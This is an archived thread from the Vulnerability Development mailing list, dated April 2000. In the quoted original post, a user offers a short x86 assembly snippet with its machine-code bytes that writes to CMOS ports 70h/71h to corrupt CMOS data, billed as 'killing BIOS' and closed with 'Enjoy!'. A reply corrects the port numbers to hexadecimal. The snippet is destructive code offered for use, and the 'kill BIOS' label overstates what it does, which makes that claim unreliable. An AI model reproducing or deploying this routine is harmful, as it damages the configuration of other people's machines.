Vulnerability Development mailing list archives

Re: Kill BIOS


From: grice () VT EDU (Greg Rice)
Date: Sat, 8 Apr 2000 18:16:54 -0400


actually i think you mean
out 70H,AL
out 71H,AL

70H - is the CMOS Ram Address Port and NMI Mask and 71H is the RTC CMOS RAM
data port.  i don't know what 70 decimal corresponds to as a hexadecimal
address.

thanks

----- Original Message -----
From: "dEStr0YEr" <destroyerb () HOTMAIL COM>
To: <VULN-DEV () SECURITYFOCUS COM>
Sent: Saturday, April 08, 2000 7:31 AM
Subject: Kill BIOS

I can suggest this method for killing BIOS:

ASM:                  Inline:
mov al,2eh           B0 2E
out 70, al             E6 70
out 71, al             E6  71
retn                     C3

Enjoy!

Cu,
dES


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